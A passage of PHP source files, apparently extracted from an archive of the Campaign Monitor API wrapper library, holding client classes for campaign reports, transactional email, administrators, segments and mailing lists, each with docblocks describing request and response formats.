will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber who clicked * 'ListID' => The list id of the list containing the subscriber * 'Date' => The date of the click * 'IPAddress' => The ip address where the click originated * 'URL' => The url that the subscriber clicked on * 'Latitude' => The geocoded latitude from the IP address * 'Longitude' => The geocoded longitude from the IP address * 'City' => The geocoded city from the IP address * 'Region' => The geocoded region from the IP address * 'CountryCode' => The geocoded two letter country code from the IP address * 'CountryName' => The geocoded full country name from the IP address * } * ) * } */ function get_clicks($since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_campaigns_base_route.'clicks.json?date='.urlencode($since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets all unsubscribes recorded for a campaign since the provided date * @param string $since The date to start getting unsubscribes from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'LIST', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber who unsubscribed * 'ListID' => The list id of the list containing the subscriber * 'Date' => The date of the unsubscribe * 'IPAddress' => The ip address where the unsubscribe originated * } * ) * } */ function get_unsubscribes($since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_campaigns_base_route.'unsubscribes.json?date='.urlencode($since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets all spam complaints recorded for a campaign since the provided date * @param string $since The date to start getting spam complaints from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'LIST', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber who unsubscribed * 'ListID' => The list id of the list containing the subscriber * 'Date' => The date of the unsubscribe * } * ) * } */ function get_spam($since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_campaigns_base_route.'spam.json?date='.urlencode($since), $page_number, $page_size, $order_field, $order_direction); } } }PKq\Vb>>9campaignmonitor/lib/csrest_transactional_classicemail.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $auth_details, $client_id = NULL, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_client($client_id); } /** * Change the client id used for calls after construction * Only required if using OAuth or an Account level API Key * @param $client_id * @access public */ function set_client($client_id) { $this->_client_id_param = array("clientID" => $client_id); } /** * Sends a new classic transactional email * @param array $message The details of the template * This should be an array of the form * array( * 'From' => string required The From name/email in the form "first last " * 'ReplyTo' => string optional The Reply-To address * 'To' => array( * "First Last ", "another@example.com" * ) optional To recipients * 'CC' => array( * "First Last ", "another@example.com" * ) optional CC recipients * 'BCC' => array( * "First Last ", "another@example.com" * ) optional BCC recipients * 'Subject' => string required The subject of the email * 'Html' => string The HTML content of the message * 'Text' => string optional The text content of the message * 'Attachments' => array * "Name" => string required * "Type" => string required * "Content" => string required * ) optional * ) * @param string $group Optional. Name to group emails by for reporting * For example "Password reset", "Order confirmation" * @param array $options optional. Advanced options for sending this email (optional) * This should be an array, each property is optionals * array( * TrackOpens => whether to track opens, defaults to true * TrackClicks => whether to track clicks, defaults to true * InlineCSS => whether inline CSS, defaults to true * AddRecipientsToListID => ID of a list to add all recipeints to * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the include the details of the action, including a Message ID. * array( * array( * "MessageID" => string * "Recipient" => string * "Status" => string * ) * ) */ function send($message, $group = NULL, $add_to_list_ID = NULL, $options = array()) { $group_param = array( "Group" => $group); $add_to_list_param = array( "AddRecipientsToListID" => $add_to_list_ID); $data = array_merge($this->_client_id_param, $message, $group_param, $add_to_list_param, $options); return $this->post_request($this->_base_route.'transactional/classicemail/send', $data); } /** * Gets the list of Classic Groups * @access public * @return CS_REST_Wrapper_Result A successful response will be an array of the form * array( * array( * "Group" => string * "CreatedAt" => string * ) * ) */ function groups() { $data = array_merge($this->_client_id_param); return $this->get_request($this->_base_route . 'transactional/classicemail/groups', $data); } } } PKq\DZI-campaignmonitor/lib/csrest_administrators.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->_admins_base_route = $this->_base_route.'admins'; } /** * Adds a new administrator to the current account * @param array $admin The administrator details to use during creation. * This array should be of the form * array ( * 'EmailAddress' => The new administrator email address * 'Name' => The name of the new administrator * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function add($admin) { return $this->post_request($this->_admins_base_route.'.json', $admin); } /** * Updates details for an existing administrator associated with the current account * @param string $email The email address of the administrator to be updated * @param array $admin The updated administrator details to use for the update. * This array should be of the form * array ( * 'EmailAddress' => The new email address * 'Name' => The updated name of the administrator * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function update($email, $admin) { return $this->put_request($this->_admins_base_route.'.json?email='.urlencode($email), $admin); } /** * Gets the details for a specific administrator * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'EmailAddress' => The email address of the administrator * 'Name' => The name of the administrator * 'Status' => The status of the administrator * ) * } */ function get($email) { return $this->get_request($this->_admins_base_route.'.json?email='.urlencode($email)); } /** * deletes the given administrator from the current account * @param string $email The email address of the administrator to delete * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete($email) { return $this->delete_request($this->_admins_base_route.'.json?email='.urlencode($email)); } } }PKq\E[##'campaignmonitor/lib/csrest_segments.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $segment_id, $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_segment_id($segment_id); } /** * Change the segment id used for calls after construction * @param $segment_id * @access public */ function set_segment_id($segment_id) { $this->_segments_base_route = $this->_base_route.'segments/'.$segment_id; } /** * Creates a new segment on the given list with the provided details * @param int $list_id The list on which to create the segment * @param $segment_details The details of the new segment * This should be an array of the form * array( * 'Title' => The title of the new segment * 'RuleGroups' => array( * array( * 'Rules' => array( * array( * 'RuleType' => The subject of this rule * 'Clause' => The specific clauses for this rule * ) * ) * ) * ) * ) * @return CS_REST_Wrapper_Result A successful response will be the ID of the newly created segment */ function create($list_id, $segment_details) { return $this->post_request($this->_base_route.'segments/'.$list_id.'.json', $segment_details); } /** * Updates the current segment with the provided details. Calls to this route will clear any existing rules * @param $segment_details The new details for the segment * This should be an array of the form * array( * 'Title' => The title of the new segment * 'RuleGroups' => array( * array( * 'Rules' => array( * array( * 'RuleType' => The subject of this rule * 'Clause' => The specific clauses for this rule * ) * ) * ) * ) * ) * @return CS_REST_Wrapper_Result A successful response will be empty */ function update($segment_details) { return $this->put_request($this->_segments_base_route.'.json', $segment_details); } /** * Adds the given rule to the current segment * @param $rule The rule to add to the segment * This should be an array of the form * array( * 'Rules' => array( * array( * 'RuleType' => The subject of this rule * 'Clause' => The specific clauses for this rule * ) * ) * ) * @return CS_REST_Wrapper_Result A successful response will be empty */ function add_rulegroup($rulegroup) { return $this->post_request($this->_segments_base_route.'/rules.json', $rulegroup); } /** * Gets the details of the current segment * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ActiveSubscribers' => The number of active subscribers in this segment * 'Rules' => array( * { * 'Subject' => The subject of the rule * 'Clauses' => array The clauses making up this segment rule * } * ), * 'ListID' => The ID of the list on which this segment is applied * 'SegmentID' => The ID of this segment * 'Title' => The title of this segment * } */ function get() { return $this->get_request($this->_segments_base_route.'.json'); } /** * Deletes an existing segment from the system * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete() { return $this->delete_request($this->_segments_base_route.'.json'); } /** * Deletes all rules for the current segment * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function clear_rules() { return $this->delete_request($this->_segments_base_route.'/rules.json'); } /** * Gets a paged collection of subscribers which fall into the given segment * @param string $subscribed_since The date to start getting subscribers from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'NAME', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber * 'Name' => The name of the subscriber * 'Date' => The date that the subscriber was added to the list * 'State' => The current state of the subscriber, will be 'Active' * 'CustomFields' => array ( * { * 'Key' => The personalisation tag of the custom field * 'Value' => The value of the custom field for this subscriber * } * ) * } * ) * } */ function get_subscribers($subscribed_since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_segments_base_route.'/active.json?date='.urlencode($subscribed_since), $page_number, $page_size, $order_field, $order_direction); } } }PKq\sky5campaignmonitor/lib/csrest_transactional_timeline.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $auth_details, $client_id = NULL, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_client($client_id); } /** * Change the client id used for calls after construction * Only required if using OAuth or an Account level API Key * @param $client_id * @access public */ function set_client($client_id) { $this->_client_id_param = array("clientID" => $client_id); } /** * Gets the list of sent messages * @access public * @param $params, array Parameters used to filter results * This should be an array of the form * array( * "status" => string delivered|bounced|spam|all * "count" => integer optional, maximum number of results to return in a single request (default: 50, max: 200) * "sentBeforeID" => string optional, messageID used for pagination, returns emails sent before the specified message * "sentAfterID" => string optional, messageID used for pagination, returns emails sent after the specified message * "smartEmaiLID" => string optional, smart email to filter by * "group" => string optional, classic group name to filter by * ) * @return CS_REST_Wrapper_Result A successful response will be an array of the form * array( * array( * "MessageID" => string * "Status" => string * "SentAt" => string * "Recipient" => string * "From" => string * "Subject" => string * "TotalOpens" => integer * "TotalClicks" => integer * "CanBeResent" => boolean * "Group" => string, optional * "SmartEmailID" => string, optional * ) * ) */ function messages($query = array()) { $params = array_merge($this->_client_id_param, $query); return $this->get_request_with_params($this->_base_route . 'transactional/messages', $params); } /** * Gets the list of details of a sent message * @access public * @param $message_id, string Message ID to get the details for * @return CS_REST_Wrapper_Result The details of the message */ function details($message_id, $show_details = false) { $params = array_merge($this->_client_id_param, array("statistics" => $show_details)); return $this->get_request_with_params($this->_base_route . 'transactional/messages/' . $message_id, $params); } /** * Resend a sent message * @access public * @param $message_id, string Message ID to resend * @return CS_REST_Wrapper_Result The details of the message * array( * "MessageID" => string * "Recipient" => string * "Status" => string * ) */ function resend($message_id) { $data = array_merge($this->_client_id_param); return $this->post_request($this->_base_route.'transactional/messages/' . $message_id . '/resend', $data); } /** * Gets statistics for sends/bounces/opens/clicks * @access public * @param $params, array Parameters used to filter results * This should be an array of the form * array( * "from" => iso-8601 date, optional, default 30 days ago * "to" => iso-8601 date, optional, default today * "timezone" => client|utc, optional, how to handle date boundaries * "group" => string optional, classic group name to filter by * "smartEmailID" => string optional. smart email to filter results by * ) * @return CS_REST_Wrapper_Result A successful response will be an array of the form * array( * array( * "MessageID" => string * "Status" => string * "SentAt" => string * "Recipient" => string * "From" => string * "Subject" => string * "TotalOpens" => integer * "TotalClicks" => integer * "CanBeResent" => boolean * "Group" => string, optional * "SmartEmailID" => string, optional * ) * ) */ function statistics($query = array()) { $params = array_merge($this->_client_id_param, $query); return $this->get_request_with_params($this->_base_route.'transactional/statistics', $params); } } } PKq\ o3ss$campaignmonitor/lib/csrest_lists.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $list_id, $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_list_id($list_id); } /** * Change the list id used for calls after construction * @param $list_id * @access public */ function set_list_id($list_id) { $this->_lists_base_route = $this->_base_route.'lists/'.$list_id.'/'; } /** * Creates a new list based on the provided details. * Both the UnsubscribePage and the ConfirmationSuccessPage parameters are optional * @param string $client_id The client to create the campaign for * @param array $list_details The list details to use during creation. * This array should be of the form * array( * 'Title' => string The list title * 'UnsubscribePage' => string The page to redirect subscribers to when they unsubscribe * 'ConfirmedOptIn' => boolean Whether this list requires confirmation of subscription * 'ConfirmationSuccessPage' => string The page to redirect subscribers to when * they confirm their subscription * 'UnsubscribeSetting' => string Unsubscribe setting must be * CS_REST_LIST_UNSUBSCRIBE_SETTING_ALL_CLIENT_LISTS or * CS_REST_LIST_UNSUBSCRIBE_SETTING_ONLY_THIS_LIST. * See the documentation for details: http://www.campaignmonitor.com/api/lists/#creating_a_list * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the ID of the newly created list */ function create($client_id, $list_details) { return $this->post_request($this->_base_route.'lists/'.$client_id.'.json', $list_details); } /** * Updates the details of an existing list * Both the UnsubscribePage and the ConfirmationSuccessPage parameters are optional * @param string $client_id The client to create the campaign for * @param array $list_details The list details to use during creation. * This array should be of the form * array( * 'Title' => string The list title * 'UnsubscribePage' => string The page to redirect subscribers to when they unsubscribe * 'ConfirmedOptIn' => boolean Whether this list requires confirmation of subscription * 'ConfirmationSuccessPage' => string The page to redirect subscribers to when * they confirm their subscription * 'UnsubscribeSetting' => string Unsubscribe setting must be * CS_REST_LIST_UNSUBSCRIBE_SETTING_ALL_CLIENT_LISTS or * CS_REST_LIST_UNSUBSCRIBE_SETTING_ONLY_THIS_LIST. * See the documentation for details: http://www.campaignmonitor.com/api/lists/#updating_a_list * 'AddUnsubscribesToSuppList' => boolean When UnsubscribeSetting * is CS_REST_LIST_UNSUBSCRIBE_SETTING_ALL_CLIENT_LISTS, * whether unsubscribes from this list should be added to the * suppression list. * 'ScrubActiveWithSuppList' => boolean When UnsubscribeSetting * is CS_REST_LIST_UNSUBSCRIBE_SETTING_ALL_CLIENT_LISTS, * whether active subscribers should be scrubbed against the * suppression list. * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function update($list_details) { return $this->put_request(trim($this->_lists_base_route, '/').'.json', $list_details); } /** * Creates a new custom field for the current list * @param array $custom_field_details The details of the new custom field. * This array should be of the form * array( * 'FieldName' => string The name of the new custom field * 'DataType' => string The data type of the new custom field * This should be one of * CS_REST_CUSTOM_FIELD_TYPE_TEXT * CS_REST_CUSTOM_FIELD_TYPE_NUMBER * CS_REST_CUSTOM_FIELD_TYPE_MULTI_SELECTONE * CS_REST_CUSTOM_FIELD_TYPE_MULTI_SELECTMANY * CS_REST_CUSTOM_FIELD_TYPE_DATE * CS_REST_CUSTOM_FIELD_TYPE_COUNTRY * CS_REST_CUSTOM_FIELD_TYPE_USSTATE * 'Options' => array Valid options for either * Multi-Optioned field data type. * 'VisibleInPreferenceCenter' => boolean representing whether or * not the field should be visible in the subscriber preference * center. * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the * personalisation tag of the newly created custom field */ function create_custom_field($custom_field_details) { return $this->post_request($this->_lists_base_route.'customfields.json', $custom_field_details); } /** * Updates a custom field for the current list * @param string $key The personalisation tag of the field to update * @param array $custom_field_details The details of the new custom field. * This array should be of the form * array( * 'FieldName' => string The new name for the field * 'VisibleInPreferenceCenter' => boolean representing whether or * not the field should be visible in the subscriber preference * center. * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the * personalisation tag of the updated custom field */ function update_custom_field($key, $custom_field_details) { return $this->put_request($this->_lists_base_route.'customfields/'.rawurlencode($key).'.json', $custom_field_details); } /** * Updates the optios for the given multi-optioned custom field * @param string $key The personalisation tag of the field to update * @param array $new_options The set of options to add to the custom field * @param boolean $keep_existing Whether to remove any existing options not contained in $new_options * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function update_field_options($key, $new_options, $keep_existing) { $options = array( 'KeepExistingOptions' => $keep_existing, 'Options' => $new_options ); return $this->put_request($this->_lists_base_route.'customfields/'.rawurlencode($key).'/options.json', $options); } /** * Deletes an existing list from the system * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete() { return $this->delete_request(trim($this->_lists_base_route, '/').'.json'); } /** * Deletes an existing custom field from the system * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete_custom_field($key) { return $this->delete_request($this->_lists_base_route.'customfields/'.rawurlencode($key).'.json'); } /** * Gets a list of all custom fields defined for the current list * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'FieldName' => The name of the custom field * 'Key' => The personalisation tag of the custom field * 'DataType' => The data type of the custom field * 'FieldOptions' => Valid options for a multi-optioned custom field * 'VisibleInPreferenceCenter' => Boolean representing whether or * not the field is visible in the subscriber preference center * } * ) */ function get_custom_fields() { return $this->get_request($this->_lists_base_route.'customfields.json'); } /** * Gets a list of all segments defined for the current list * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'ListID' => The current list id * 'SegmentID' => The id of this segment * 'Title' => The title of this segment * } * ) */ function get_segments() { return $this->get_request($this->_lists_base_route.'segments.json'); } /** * Gets all active subscribers added since the given date * @param string $added_since The date to start getting subscribers from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'NAME', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber * 'Name' => The name of the subscriber * 'Date' => The date that the subscriber was added to the list * 'State' => The current state of the subscriber, will be 'Active' * 'CustomFields' => array ( * { * 'Key' => The personalisation tag of the custom field * 'Value' => The value of the custom field for this subscriber * } * ) * } * ) * } */ function get_active_subscribers($added_since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_lists_base_route.'active.json?date='.urlencode($added_since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets all unconfirmed subscribers added since the given date * @param string $added_since The date to start getting subscribers from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'NAME', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber * 'Name' => The name of the subscriber * 'Date' => The date that the subscriber was added to the list * 'State' => The current state of the subscriber, will be 'Unconfirmed' * 'CustomFields' => array ( * { * 'Key' => The personalisation tag of the custom field * 'Value' => The value of the custom field for this subscriber * } * ) * } * ) * } */ function get_unconfirmed_subscribers($added_since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_lists_base_route.'unconfirmed.json?date='.urlencode($added_since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets all bounced subscribers who have bounced out since the given date * @param string $added_since The date to start getting subscribers from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'NAME', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber * 'Name' => The name of the subscriber * 'Date' => The date that the subscriber bounced out of the list * 'State' => The current state of the subscriber, will be 'Bounced' * 'CustomFields' => array ( * { * 'Key' => The personalisation tag of the custom field * 'Value' => The value of the custom field for this subscriber * } * ) * } * ) * } */ function get_bounced_subscribers($bounced_since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_lists_base_route.'bounced.json?date='.urlencode($bounced_since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets all unsubscribed subscribers who have unsubscribed since the given date * @param string $added_since The date to start getting subscribers from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'NAME', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber * 'Name' => The name of the subscriber * 'Date' => The date that the subscriber was unsubscribed from the list * 'State' => The current state of the subscriber, will be 'Unsubscribed' * 'CustomFields' => array ( * { * 'Key' => The personalisation tag of the custom field * 'Value' => The value of the custom field for this subscriber * } * ) * } * ) * } */ function get_unsubscribed_subscribers($unsubscribed_since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_lists_base_route.'unsubscribed.json?date='.urlencode($unsubscribed_since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets all subscribers who have been deleted since the given date * @param string $deleted_since The date to start getting subscribers from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'NAME', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber * 'Name' => The name of the subscriber * 'Date' => The date that the subscriber was deleted from the list * 'State' => The current state of the subscriber, will be 'Deleted' * 'CustomFields' => array ( * { * 'Key' => The personalisation tag of the custom field * 'Value' => The value of the custom field for this subscriber * } * ) * } * ) * } */ function get_deleted_subscribers($deleted_since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_lists_base_route.'deleted.json?date='.urlencode($deleted_since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets the basic details of the current list * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ListID' => The id of the list * 'Title' => The title of the list * 'UnsubscribePage' => The page which subscribers are redirected to upon unsubscribing * 'ConfirmedOptIn' => Whether the list is Double-Opt In * 'ConfirmationSuccessPage' => The page which subscribers are * redirected to upon confirming their subscription * 'UnsubscribeSetting' => The unsubscribe setting for the list. Will * be either CS_REST_LIST_UNSUBSCRIBE_SETTING_ALL_CLIENT_LISTS or * CS_REST_LIST_UNSUBSCRIBE_SETTING_ONLY_THIS_LIST. * } */ function get() { return $this->get_request(trim($this->_lists_base_route, '/').'.json'); } /** * Gets statistics for list subscriptions, deletions, bounces and unsubscriptions * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'TotalActiveSubscribers' * 'NewActiveSubscribersToday' * 'NewActiveSubscribersYesterday' * 'NewActiveSubscribersThisWeek' * 'NewActiveSubscribersThisMonth' * 'NewActiveSubscribersThisYeay' * 'TotalUnsubscribes' * 'UnsubscribesToday' * 'UnsubscribesYesterday' * 'UnsubscribesThisWeek' * 'UnsubscribesThisMonth' * 'UnsubscribesThisYear' * 'TotalDeleted' * 'DeletedToday' * 'DeletedYesterday' * 'DeletedThisWeek' * 'DeletedThisMonth' * 'DeletedThisYear' * 'TotalBounces' * 'BouncesToday' * 'BouncesYesterday' * 'BouncesThisWeek' * 'BouncesThisMonth' * 'BouncesThisYear' * } */ function get_stats() { return $this->get_request($this->_lists_base_route.'stats.json'); } /** * Gets the webhooks which are currently subcribed to event on this list * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'WebhookID' => The if of * 'Events' => An array of the events this webhook is subscribed to ('Subscribe', 'Update', 'Deactivate') * 'Url' => The url the webhook data will be POSTed to * 'Status' => The current status of this webhook * 'PayloadFormat' => The format in which data will be POSTed * } * ) */ function get_webhooks() { return $this->get_request($this->_lists_base_route.'webhooks.json'); } /** * Creates a new webhook based on the provided details * @param array $webhook The details of the new webhook * This array should be of the form * array( * 'Events' => array The events to subscribe to. Valid events are * CS_REST_LIST_WEBHOOK_SUBSCRIBE, * CS_REST_LIST_WEBHOOK_DEACTIVATE, * CS_REST_LIST_WEBHOOK_UPDATE * 'Url' => string The url of the page to POST the webhook events to * 'PayloadFormat' => The format to use when POSTing webhook event data, either * CS_REST_WEBHOOK_FORMAT_JSON or * CS_REST_WEBHOOK_FORMAT_XML * (xml or json) * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the ID of the newly created webhook */ function create_webhook($webhook) { return $this->post_request($this->_lists_base_route.'webhooks.json', $webhook); } /** * Sends test events for the given webhook id * @param string $webhook_id The id of the webhook to test * @access public * @return CS_REST_Wrapper_Result A successful response will be empty. */ function test_webhook($webhook_id) { return $this->get_request($this->_lists_base_route.'webhooks/'.$webhook_id.'/test.json'); } /** * Deletes an existing webhook from the system * @param string $webhook_id The id of the webhook to delete * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete_webhook($webhook_id) { return 